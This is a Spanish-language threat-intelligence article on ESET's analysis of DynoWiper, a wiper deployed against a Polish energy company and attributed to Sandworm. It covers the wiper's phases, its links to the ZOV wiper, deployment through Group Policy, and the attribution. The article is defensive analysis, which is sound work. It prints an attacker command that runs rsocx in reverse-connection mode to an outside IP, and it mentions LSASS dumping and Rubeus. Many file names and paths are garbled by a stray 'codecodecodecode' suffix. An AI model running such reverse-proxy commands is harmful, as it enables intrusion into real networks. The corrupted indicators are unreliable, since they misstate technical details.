El 29 de diciembre de 2025, los investigadores de ESET detectaron el despliegue de un nuevo malware de borrado de datos, bautizado como DynoWiper, contra una empresa del sector energético en Polonia. El incidente, atribuido con un nivel de confianza medio al grupo de amenaza ruso Sandworm, representa un hito preocupante: es la primera vez que este actor despliega malware destructivo contra una compañía energética polaca de forma abierta, sin enmascararlo como un ataque de ransomware. Aunque el producto de seguridad EDR/XDR ESET PROTECT logró bloquear la ejecución del wiper y limitar significativamente su impacto, el caso revela una evolución en las tácticas de Sandworm, que históricamente había utilizado operaciones encubiertas de ciberespionaje en Polonia y solo recientemente había recurrido a ataques destructivos en el país, como el incidente de ransomware Prestige en octubre de 2022.
Sandworm: el perfil de un grupo de amenaza persistente con décadas de operaciones destructivas
Sandworm, también conocido como Seashell Blizzard, es un grupo de amenaza alineado con Rusia, atribuido comúnmente a la Unidad 74455 de la Dirección Principal de Inteligencia (GRU). Su historial de ciberataques destructivos es extenso y bien documentado. El grupo saltó a la fama internacional por los ataques contra empresas energéticas ucranianas en diciembre de 2015 y diciembre de 2016, que provocaron apagones masivos. En junio de 2017, lanzó el ataque NotPetya, un wiper que se disfrazó de ransomware y se propagó a través de la cadena de suministro al comprometer el software de contabilidad ucraniano M.E.Doc, causando daños por miles de millones de dólares a nivel global. En febrero de 2018, Sandworm atacó a los organizadores de los Juegos Olímpicos de Invierno de Pyeongchang con el wiper Olympic Destroyer.
El grupo es conocido por el uso de malware avanzado como Industroyer, capaz de comunicarse con equipos de empresas energéticas mediante protocolos de control industrial. En abril de 2022, CERT-UA frustró un ataque de Sandworm contra una empresa energética en Ucrania que intentaba desplegar una nueva variante, Industroyer2. En octubre de 2020, el Departamento de Justicia de Estados Unidos publicó una acusación formal contra seis hackers rusos a los que acusa de preparar y ejecutar varios ataques de Sandworm.
Más allá de Ucrania, Sandworm tiene una década de historia atacando empresas en Polonia, especialmente en el sector energético. Sin embargo, estas operaciones se realizaban de forma encubierta con fines de ciberespionaje, como se observó en los casos de BlackEnergy y GreyEnergy. De hecho, ESET detectó el primer despliegue de GreyEnergy en una empresa energética polaca en 2015. El cambio táctico hacia ataques destructivos en Polonia comenzó en octubre de 2022, cuando Sandworm atacó empresas de logística tanto en Ucrania como en Polonia, disfrazando la operación como un incidente de ransomware Prestige.
DynoWiper: un análisis técnico del nuevo wiper detectado en Polonia
El 29 de diciembre de 2025, tres muestras de DynoWiper fueron desplegadas en el directorio compartido C:\inetpub\pub\codecodecodecode de la víctima, con los nombres schtask.execodecodecodecode, schtask2.execodecodecodecode y un tercer archivo cuyo nombre fue redactado. Los ejecutables schtask*.execodecodecodecode contenían la ruta PDB C:\Users\vagrant\Documents\Visual Studio 2013\Projects\Source\Release\Source.pdbcodecodecodecode. El nombre de usuario «vagrant» sugiere el uso de la herramienta de gestión de máquinas virtuales Vagrant, lo que indica que los atacantes probaron el wiper en un entorno virtual antes del despliegue real.
Los atacantes realizaron múltiples intentos de despliegue. El primero, con el archivo cuyo nombre fue redactado, llevaba un timestamp PE del 26 de diciembre de 2025. Al fallar, modificaron el código y compilaron schtask.execodecodecodecode (timestamp del 29 de diciembre a las 13:17). Este segundo intento también fue infructuoso, por lo que generaron schtask2.execodecodecodecode (timestamp del mismo día a las 14:10). Es probable que incluso este último intento fracasara. ESET PROTECT, instalado en las máquinas objetivo, interfirió con la ejecución de las tres variantes.
El flujo de trabajo de DynoWiper se divide en tres fases. Las muestras schtask*.execodecodecodecode incluyen solo las dos primeras fases, con un retardo de cinco segundos entre ellas. La muestra redactada implementa las tres fases sin dicho retardo.
Fase 1: Borrado recursivo en unidades fijas y extraíbles
El wiper sobrescribe archivos utilizando un búfer de 16 bytes que contiene datos aleatorios generados una vez al inicio de la ejecución. Los archivos de 16 bytes o menos se sobrescriben por completo; los más pequeños se extienden hasta 16 bytes. Para acelerar el proceso, los archivos mayores de 16 bytes solo ven sobrescritas algunas partes de su contenido. Durante la primera fase, el malware recorre recursivamente todos los archivos en unidades fijas y extraíbles, excluyendo directorios específicos (comparación sin distinción de mayúsculas): system32codecodecodecode, windowscodecodecodecode, program filescodecodecodecode, program files(x86)codecodecodecode (sin espacio antes del paréntesis), tempcodecodecodecode, recycle.bincodecodecodecode, $recycle.bincodecodecodecode, bootcodecodecodecode, perflogscodecodecodecode, appdatacodecodecodecode y documents and settingscodecodecodecode.
Fase 2: Variaciones en el comportamiento de borrado
Para las muestras redactada y schtask.execodecodecodecode, la segunda fase es similar, pero los directorios previamente excluidos ya no se omiten en el directorio raíz (por ejemplo, C:\codecodecodecode). Así, una ruta como C:\Windowscodecodecodecode ya no está excluida, aunque C:\Windows\System32codecodecodecode sigue siéndolo. En schtask2.execodecodecodecode, la segunda fase elimina todos los archivos y directorios de las unidades fijas y extraíbles mediante la API DeleteFileWcodecodecodecode, sin saltarse ningún directorio y sin sobrescribir archivos.
Fase 3: Reinicio forzado del sistema
La tercera fase fuerza el reinicio del sistema, completando la destrucción del sistema operativo. A diferencia de Industroyer e Industroyer2, las muestras de DynoWiper se centran exclusivamente en el entorno de TI, sin funcionalidad observada contra componentes de tecnología operativa (OT). Sin embargo, esto no descarta que dichas capacidades estuvieran presentes en otra parte de la cadena de ataque.
Herramientas adicionales desplegadas en la misma red
Antes del despliegue del wiper, los atacantes utilizaron otras herramientas en la misma red. En etapas tempranas, intentaron descargar la herramienta pública Rubeus, utilizada para ataques contra Kerberos, desde la ruta c:\users\<username>\downloads\rubeus.execodecodecodecode. También intentaron realizar un volcado de memoria del proceso LSASS utilizando el Administrador de tareas de Windows. Además, trataron de descargar y ejecutar la herramienta de proxy SOCKS5 de código abierto llamada rsocx, intentando ejecutarla en modo de conexión inversa con el comando C:\Users\<username>\Downloads\r.exe -r 31.172.71[.]5:8008codecodecodecode. Este servidor IP pertenece a ProGame (progamevl[.]rucodecodecodecode), una escuela de programación para niños en Vladivostok, Rusia, que probablemente fue comprometida por los atacantes.
Similitudes operativas entre DynoWiper y el wiper ZOV
Los investigadores de ESET identificaron similitudes significativas entre DynoWiper y el wiper ZOV, una familia de malware destructivo atribuida a Sandworm con alta confianza, detectada en noviembre de 2025 contra una institución financiera en Ucrania. Ambos wipers comparten una lógica de borrado similar: excluyen directorios específicos del sistema operativo (como $Recycle.Bincodecodecodecode, AppDatacodecodecodecode, Program Filescodecodecodecode, Windowscodecodecodecode, etc.) y utilizan un enfoque de sobrescritura que depende del tamaño del archivo para acelerar la destrucción.
En el caso de ZOV, el búfer de sobrescritura tiene un tamaño de 4.098 bytes y comienza con la cadena «ZOV», en referencia a los símbolos militares rusos Z, O y V, seguida de bytes nulos. Los archivos menores de 4.098 bytes se sobrescriben completamente; los mayores solo parcialmente. Tras completar el borrado, el wiper imprime el número de directorios y archivos eliminados, ejecuta un comando shell que borra el contenido de la unidad C: y programa un reinicio del sistema. Además, ZOV deja caer una imagen de fondo de escritorio con el símbolo ZOV, y en una variante de 2024, la imagen simulaba una nota de rescate con una dirección de Bitcoin inexistente.
DynoWiper, por su parte, utiliza un búfer de 16 bytes con datos aleatorios, pero la estructura de exclusión de directorios y la lógica de borrado diferenciado por tamaño de archivo son notablemente similares a las de ZOV. Esta similitud en las TTPs refuerza la hipótesis de que ambos wipers fueron desarrollados por el mismo equipo o siguiendo las mismas guías de diseño.
El papel de Active Directory Group Policy en el despliegue de wipers
Sandworm tiene un historial bien conocido de abusar de las directivas de grupo de Active Directory (GPO) para desplegar malware de borrado de datos en todas las máquinas de una red comprometida. El despliegue a nivel organizacional mediante GPO generalmente requiere privilegios de administrador de dominio y a menudo se realiza desde un controlador de dominio. Esto demuestra la sofisticación de Sandworm y su capacidad comprobada para obtener acceso de alto privilegio en Active Directory.
Durante la respuesta al incidente de Industroyer2 en abril de 2022, CERT-UA descubrió un script de PowerShell llamado POWERGAP, que Sandworm utilizaba con frecuencia para distribuir varios wipers. En noviembre de 2022, ESET confirmó que el mismo script se había utilizado para distribuir el ransomware RansomBoggs en Ucrania. Sin embargo, en algún momento Sandworm dejó de usar este script de despliegue, aunque continuó desplegando malware destructivo mediante GPO.
En el análisis del incidente con ZOV, se identificó un script de PowerShell más reciente, con variables específicas del entorno de la víctima (nombre del controlador de dominio, nombre del dominio, nombre del objeto de directiva de grupo, nombre del archivo desplegado, ruta, etc.). Este script realizaba todas las acciones necesarias para distribuir el binario malicioso a todos los usuarios y equipos del dominio. De forma significativa, se descubrió un script de despliegue con funcionalidad muy similar, aunque sin una fuerte similitud de código, utilizado para desplegar DynoWiper en la empresa energética polaca. En ese caso, el binario malicioso no se distribuyó a equipos individuales, sino que se ejecutó directamente desde un directorio de red compartido.
Estas operaciones de borrado de datos requieren que el actor de amenaza posea privilegios de administrador de dominio. Una vez que se alcanza ese nivel de acceso, defender el entorno se vuelve extremadamente difícil, ya que el atacante puede realizar casi cualquier acción dentro del dominio. Algunas organizaciones, particularmente en el sector energético, segmentan o aíslan intencionalmente partes de sus entornos de TI/OT para cumplir con requisitos operativos y de seguridad. Si bien este aislamiento puede ser una decisión de gestión de riesgos adecuada, generalmente reduce la visibilidad de los defensores y puede ralentizar la recopilación de pruebas y los flujos de trabajo de respuesta, lo que a su vez complica la investigación de incidentes y resulta en atribuciones de menor confianza.
Atribución del ataque a Sandworm: evidencias y dudas razonables
ESET atribuye DynoWiper a Sandworm con un nivel de confianza medio. Los factores que respaldan esta evaluación son sólidos. Existe un fuerte solapamiento entre las TTPs observadas en esta actividad y las que se asocian típicamente con las operaciones de Sandworm: el uso de malware de borrado de datos y su despliegue mediante directivas de grupo de Active Directory son técnicas empleadas de forma habitual por el grupo. Las similitudes tanto en los wipers utilizados como en el script de despliegue mediante GPO, al comparar este caso con actividades previas de Sandworm, son evidentes. El sector objetivo —una empresa energética— se alinea con los intereses típicos de Sandworm, que tiene un historial probado de atacar entornos OT. Históricamente, Sandworm ha atacado a empresas energéticas polacas con fines de ciberespionaje utilizando BlackEnergy y GreyEnergy. Además, no se tiene constancia de que ningún otro actor de amenaza recientemente activo haya utilizado malware de borrado de datos en operaciones contra objetivos en países de la Unión Europea.
Sin embargo, existen factores que contradicen una atribución directa y sin reservas. Aunque Sandworm ha atacado empresas en Polonia anteriormente, lo hacía de forma encubierta, ya sea con fines de ciberespionaje o disfrazando sus actividades de borrado como ataques de ransomware, como en el caso de Prestige. Es importante señalar que ESET solo atribuye el componente de borrado de datos de esta actividad a Sandworm con confianza media. No se tiene visibilidad sobre el método de acceso inicial utilizado en este incidente, por lo que no es posible evaluar cómo o quién llevó a cabo los primeros pasos. En particular, las etapas preparatorias que condujeron a la actividad destructiva podrían haber sido realizadas por otro grupo de actores de amenaza que colabora con Sandworm. Notablemente, en 2025 ESET observó y confirmó que el grupo UAC-0099 realizó operaciones de acceso inicial contra objetivos en Ucrania y posteriormente transfirió objetivos validados a Sandworm para actividades de seguimiento.
Esta posibilidad de colaboración entre grupos introduce una capa de incertidumbre en la atribución. El hecho de que Sandworm haya cambiado su modus operandi en Polonia, pasando de operaciones encubiertas a ataques destructivos directos, podría ser una señal de una escalada en sus capacidades y objetivos, o podría reflejar una dinámica de grupo más compleja en la que diferentes actores contribuyen a distintas fases del ataque.
Implicaciones estratégicas del ataque DynoWiper para la seguridad de infraestructuras críticas
Este incidente representa un caso raro y previamente no visto en el que un actor de amenaza alineado con Rusia desplegó malware destructivo de borrado de datos contra una empresa energética en Polonia, un país miembro de la Unión Europea y de la OTAN. La elección del objetivo no es casual: el sector energético es una infraestructura crítica cuya interrupción puede tener consecuencias devastadoras para la economía y la seguridad nacional. Aunque el ataque fue frustrado en gran medida por las defensas de seguridad implementadas, el hecho de que Sandworm haya intentado desplegar un wiper en una empresa energética polaca indica una voluntad de expandir su teatro de operaciones más allá de Ucrania.
La evolución de las tácticas de Sandworm en Polonia, desde el ciberespionaje encubierto con BlackEnergy y GreyEnergy hasta el ataque destructivo con Prestige en 2022 y ahora con DynoWiper, sugiere una adaptación continua. El grupo no solo está modificando su arsenal de malware, sino también sus métodos de despliegue y posiblemente sus relaciones con otros actores de amenaza. La colaboración con grupos de acceso inicial como UAC-0099 podría estar permitiendo a Sandworm centrarse en sus capacidades destructivas mientras otros se encargan de la fase de intrusión.
Para las organizaciones del sector energético y otras infraestructuras críticas en Europa, este caso subraya la importancia de contar con soluciones de detección y respuesta en endpoints (EDR/XDR) que puedan bloquear incluso malware previamente desconocido. La capacidad de ESET PROTECT para interferir con la ejecución de las tres variantes de DynoWiper demuestra que la prevención es posible, pero requiere una monitorización continua y actualizaciones de inteligencia de amenazas. Además, la segmentación de redes IT/OT, aunque puede reducir la visibilidad, sigue siendo una práctica recomendada para limitar el impacto de un ataque destructivo en los sistemas de control industrial.
El hecho de que Sandworm esté dispuesto a desplegar wipers en países de la UE, y no solo en Ucrania, debería ser una llamada de atención para los gobiernos y las empresas de la región. La colaboración entre equipos de respuesta a incidentes, como CERT-UA, CERT Polska y los investigadores de ESET, es fundamental para compartir inteligencia y mejorar las defensas colectivas. La investigación de este incidente, publicada por CERT Polska, proporciona detalles valiosos que pueden ayudar a otras organizaciones a prepararse para amenazas similares.
La pregunta que queda abierta es si este ataque representa un hecho aislado o el inicio de una nueva fase de operaciones destructivas de Sandworm contra objetivos en Europa Central y Oriental. La evidencia histórica sugiere que el grupo es persistente y está dispuesto a adaptar sus tácticas para lograr sus objetivos estratégicos. Las organizaciones que operan infraestructuras críticas deben asumir que son objetivos potenciales y actuar en consecuencia, fortaleciendo sus defensas, mejorando la visibilidad de sus entornos y preparándose para responder a incidentes de borrado de datos que podrían intentar paralizar sus operaciones.
